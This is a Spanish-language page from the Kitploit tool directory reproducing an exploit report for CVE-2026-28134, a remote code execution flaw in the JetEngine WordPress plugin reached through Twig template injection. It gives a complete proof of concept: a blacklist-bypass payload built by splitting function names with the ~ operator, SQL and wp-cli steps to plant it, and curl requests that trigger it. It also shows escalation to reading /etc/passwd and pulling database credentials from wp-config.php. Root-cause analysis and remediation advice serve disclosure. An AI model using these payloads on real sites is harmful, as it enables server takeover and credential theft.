Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2026-28134 — JetEngine <= 3.7.2 - Ejecución Remota de Código Autenticada (Contributor+) | Kitploit
Herramientas/GitHubGitHub/randomrobbiebf/cve-2026-28134
Análisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebDesarrollo de Payloads
GitHubrandomrobbiebf/cve-2026-28134

CVE-2026-28134

JetEngine <= 3.7.2 - Ejecución Remota de Código Autenticada (Contributor+)

Ver Repositorio
hace 5 mesesAún no revisado

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Compartir

Informe de explotación de CVE-2026-28134

JetEngine <= 3.7.2 — Ejecución remota de código autenticada (Colaborador+) mediante SSTI en Twig

Fecha: 11 de marzo de 2026 Puntuación CVSS: 8.8 (Alta) Vector CVSS: CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H Plugin afectado: JetEngine <= 3.7.2 Slug del plugin: jet-engine CVE: CVE-2026-28134 Estado: Privado Versión de WordPress probada: Última


Resumen ejecutivo

CVE-2026-28134 es una vulnerabilidad de Ejecución Remota de Código en el plugin de WordPress JetEngine que afecta a todas las versiones hasta la 3.7.2 inclusive. La vulnerabilidad permite a atacantes autenticados con acceso de nivel Colaborador o superior ejecutar comandos arbitrarios del sistema operativo en el servidor inyectando una plantilla Twig maliciosa en una entrada Listing de JetEngine.

La cadena de ataque combina tres debilidades:

  1. Un despachador AJAX no autenticado sin comprobación de nonce ni de permisos que renderiza las plantillas de las entradas Listing.
  2. Un motor de renderizado Twig/Timber sin sandbox — solo un sanitizador basado en listas negras de cadenas.
  3. Una evasión del sanitizador mediante el operador de concatenación de cadenas ~ de Twig para dividir nombres de funciones bloqueados entre tokens.

✅ VULNERABILIDAD CONFIRMADA — RCE completo logrado

Impacto confirmado:

  • Ejecución de comandos arbitrarios del sistema operativo como www-data
  • Acceso completo de lectura al sistema de archivos (/etc/passwd, wp-config.php)
  • Exfiltración de credenciales de la base de datos

Detalles de la vulnerabilidad

Resumen técnico

JetEngine proporciona un tipo de vista Listing basado en Twig/Timber. Cuando el componente timber_views está habilitado, las entradas Listing con _listing_type = twig tienen su meta de entrada _jet_engine_listing_html renderizada como una plantilla Twig en vivo mediante Timber. La canalización de renderizado es accesible a través de la acción AJAX no autenticada wp_ajax_nopriv_jet_engine_ajax, requiriendo únicamente que el atacante pueda crear o modificar una entrada Listing de JetEngine (mínimo rol Colaborador).

Componentes afectados


Cadena de explotación

Paso 1 — Despachador AJAX no autenticado

ajax-handlers.php registra la acción AJAX tanto para usuarios autenticados como no autenticados:

root@kitploit:~
// ajax-handlers.php:29
add_action( 'wp_ajax_jet_engine_ajax',        array( $this, 'handle_ajax' ) );
add_action( 'wp_ajax_nopriv_jet_engine_ajax', array( $this, 'handle_ajax' ) );

El manejador despacha a cualquier método público de la clase basándose en $_REQUEST['handler'] sin comprobación de nonce ni de permisos:

root@kitploit:~
// ajax-handlers.php:96-104
public function handle_ajax() {
    if ( ! isset( $_REQUEST['handler'] ) || ! is_callable( array( $this, $_REQUEST['handler'] ) ) ) {
        return;
    }
    if ( ! empty( $_REQUEST['page_settings'] ) ) {
        foreach ( $_REQUEST['page_settings'] as $key => $value ) {
            $_REQUEST[ $key ] = $value;
        }
    }
    call_user_func( array( $this, $_REQUEST['handler'] ) );
}

Llamar a listing_load_more es accesible públicamente y desencadena la canalización de renderizado de Listing.

Paso 2 — Canalización de renderizado Twig

La cadena de llamadas listing_load_more → get_listing → frontend->get_listing_item llega a:

root@kitploit:~
// frontend.php:302
$content = apply_filters( 'jet-engine/listing/content/' . $listing_view, null, $listing_id );

Cuando $listing_view = 'twig', esto dispara Jet_Engine\Timber_Views\Render::get_listing_content(), que lee la plantilla Twig del campo meta _jet_engine_listing_html de la entrada y la pasa directamente a render_html():

root@kitploit:~
// timber.php:150
$template = $twig->createTemplate(
    $this->sanitize_html(
        do_shortcode( $this->sanitize_twig_content( $html ) )
    )
);
return $template->render( $context );

Twig renderiza sin sandbox. La única protección es sanitize_twig_content().

Paso 3 — Evasión del sanitizador mediante concatenación de cadenas

sanitize_twig_content() elimina nombres de funciones PHP peligrosos mediante patrones regex de límite de palabra y luego comprueba si la plantilla fue modificada:

root@kitploit:~
// timber.php:256-262
$dangerous_funcs = [
    'passthru', 'exec', 'eval', 'system', 'shell_exec', 'proc_open', 'popen',
    'assert', 'file_put_contents', 'file_get_contents', 'unlink', 'fopen', 'fwrite'
];
foreach ( $dangerous_funcs as $func ) {
    $input = preg_replace( '/\b' . preg_quote( $func, '/' ) . '\b/i', '', $input );
}

El patrón \bsystem\b coincide con el token literal system. No coincide con "sys" ~ "tem" porque son dos tokens de cadena entre comillas separados. Twig evalúa la concatenación en tiempo de renderizado, produciendo "system" solo en memoria — la plantilla fuente nunca contiene la palabra bloqueada.

Payload de evasión:

root@kitploit:~
{{ fn("sys" ~ "tem", "id") }}

El sanitizador ve fn, "sys", ~, "tem", "id" — ninguno está en la lista negra. Pasa sin cambios.

Paso 4 — Ejecución de código mediante el helper fn() de Timber

Timber registra envoltorios invocables de PHP directamente en el entorno de Twig:

root@kitploit:~
// timber-library/lib/Twig.php:42-43
$twig->addFunction( new Twig_Function( 'function', array( &$this, 'exec_function' ) ) );
$twig->addFunction( new Twig_Function( 'fn',       array( &$this, 'exec_function' ) ) );
root@kitploit:~
// timber-library/lib/Twig.php:290-297
public function exec_function( $function_name ) {
    $args = func_get_args();
    array_shift( $args );
    if ( is_string( $function_name ) ) {
        $function_name = trim( $function_name );
    }
    return call_user_func_array( $function_name, ( $args ) );
}

{{ fn("sys" ~ "tem", "id") }} se resuelve a call_user_func_array("system", ["id"]) — ejecución de comandos arbitrarios del sistema operativo.


Prueba de concepto

Requisitos previos

  1. El atacante tiene acceso de WordPress de nivel Colaborador (o superior).
  2. El componente timber_views de JetEngine está habilitado (Ajustes de JetEngine > Rendimiento > Vistas Timber/Twig).
  3. El plugin de la librería Timber está instalado y activo.

Configuración

Cree una entrada Listing de JetEngine con la plantilla Twig maliciosa almacenada en la meta de la entrada:

root@kitploit:~
-- Set listing type to twig
UPDATE wp_postmeta SET meta_value = 'twig'
WHERE post_id = <LISTING_ID> AND meta_key = '_listing_type';

-- Inject SSTI payload (sanitizer bypass via ~ concatenation)
UPDATE wp_postmeta SET meta_value = '{{ fn("sys" ~ "tem", "id") }}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_html';

-- Set listing source
UPDATE wp_postmeta SET meta_value = '{"listing_source":"posts","post_type":"post"}'
WHERE post_id = <LISTING_ID> AND meta_key = '_jet_engine_listing_data';

O mediante wp-cli (como el usuario Colaborador):

root@kitploit:~
wp post meta update <LISTING_ID> _listing_type twig
wp post meta update <LISTING_ID> _jet_engine_listing_html '{{ fn("sys" ~ "tem", "id") }}'

Disparador (no autenticado)

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Resultado

root@kitploit:~
{
  "success": true,
  "data": {
    "html": "<div class=\"jet-listing-grid__item jet-listing-dynamic-post-6\" data-post-id=\"6\">uid=33(www-data) gid=33(www-data) groups=33(www-data)\n</div>"
  }
}

Escalada — Lectura de archivos

Cadena bloqueada passthru dividida como "pas" ~ "sthru":

root@kitploit:~
curl -s -X POST 'http://TARGET/wp-admin/admin-ajax.php' \
  -d 'action=jet_engine_ajax' \
  -d 'handler=listing_load_more' \
  -d 'widget_settings[lisitng_id]=<LISTING_ID>' \
  -d 'widget_settings[columns]=1' \
  -d 'query[post_type]=post' \
  -d 'query[posts_per_page]=1' \
  -d 'query[paged]=1' \
  -d 'page_settings[page_id]=1'

Plantilla configurada como {{ fn("pas" ~ "sthru", "cat /etc/passwd") }}:

root@kitploit:~
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
...
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

Escalada — Exfiltración de credenciales

Plantilla {{ fn("pas" ~ "sthru", "grep DB_ /var/www/html/wp-config.php") }}:

root@kitploit:~
define( 'DB_USER',     getenv_docker('WORDPRESS_DB_USER',     ...) );
define( 'DB_PASSWORD', getenv_docker('WORDPRESS_DB_PASSWORD', ...) );
define( 'DB_HOST',     getenv_docker('WORDPRESS_DB_HOST',     ...) );

Análisis de causa raíz

Causa 1 — Autenticación ausente en la acción AJAX

wp_ajax_nopriv_jet_engine_ajax se dispara para solicitudes no autenticadas. El despachador handle_ajax() no realiza verificación de nonce ni comprobación de permisos antes de invocar listing_load_more. Por lo tanto, la canalización de renderizado es accesible por cualquier usuario no autenticado una vez que existe una listing maliciosa.

Causa 2 — Sin sandbox en Twig

La extensión oficial de sandbox de Twig (\Twig\Sandbox\SecurityPolicy) aplica listas permitidas a nivel del motor — es imposible llamar a funciones no permitidas explícitamente. JetEngine usa createTemplate() sin sandbox. La única protección es un escaneo de cadenas previo al renderizado, que se evade fácilmente.

Causa 3 — Lista negra regex insuficiente

El enfoque de lista negra (/\bsystem\b/i) opera sobre el texto fuente estático de la plantilla. El operador de concatenación ~ de Twig construye cadenas en tiempo de ejecución. Cualquier nombre bloqueado puede dividirse: "pass" ~ "thru", "she" ~ "ll_exec", "sys" ~ "tem", etc. Un sandbox adecuado rechazaría la llamada independientemente de cómo se haya construido el nombre de la función.

Causa 4 — Timber expone call_user_func_array

Los helpers de Twig fn() y function() de Timber son puentes incondicionales a call_user_func_array de PHP. No hay una lista permitida de funciones invocables. Cualquier función PHP accesible desde el proceso web puede ser invocada.


Remediación


Cronología

FechaEvento
2026-03-11Vulnerabilidad descubierta y confirmada con PoC de RCE completo
2026-03-11Informe redactado

Referencias

  • Plugin JetEngine — Crocoblock
  • Librería Timber/Twig para WordPress
  • Extensión de sandbox de Twig
  • OWASP — Inyección de plantillas del lado del servidor
Descargar herramienta
ArchivoProblema
includes/components/listings/ajax-handlers.php:29wp_ajax_nopriv_jet_engine_ajax registrado — sin autenticación ni nonce
includes/components/listings/ajax-handlers.php:104call_user_func(array($this, $_REQUEST['handler'])) — despacho de métodos públicos arbitrarios
includes/components/timber-views/timber.php:150render_html() renderiza la plantilla Twig controlada por el atacante sin sandbox
includes/components/timber-views/timber.php:189sanitize_twig_content() — lista negra de regex de cadenas, evadida mediante división de tokens
timber-library/lib/Twig.php:42-43Timber registra fn()/function() como envoltorios Twig para call_user_func_array
CorrecciónDescripción
Añadir comprobación de nonce y permisos a handle_ajax()Exigir la capacidad edit_posts y un nonce válido para todos los despachos AJAX
Habilitar el sandbox de TwigReemplazar la lista negra de cadenas por \Twig\Sandbox\SecurityPolicy — permitir explícitamente funciones y propiedades seguras
Restringir el helper fn() de TimberPermitir solo nombres de funciones invocables o eliminar fn()/function() del entorno de Twig para plantillas no confiables
Validar la propiedad de la listingConfirmar que el usuario solicitante tiene la capacidad edit_post sobre la listing antes de renderizar su plantilla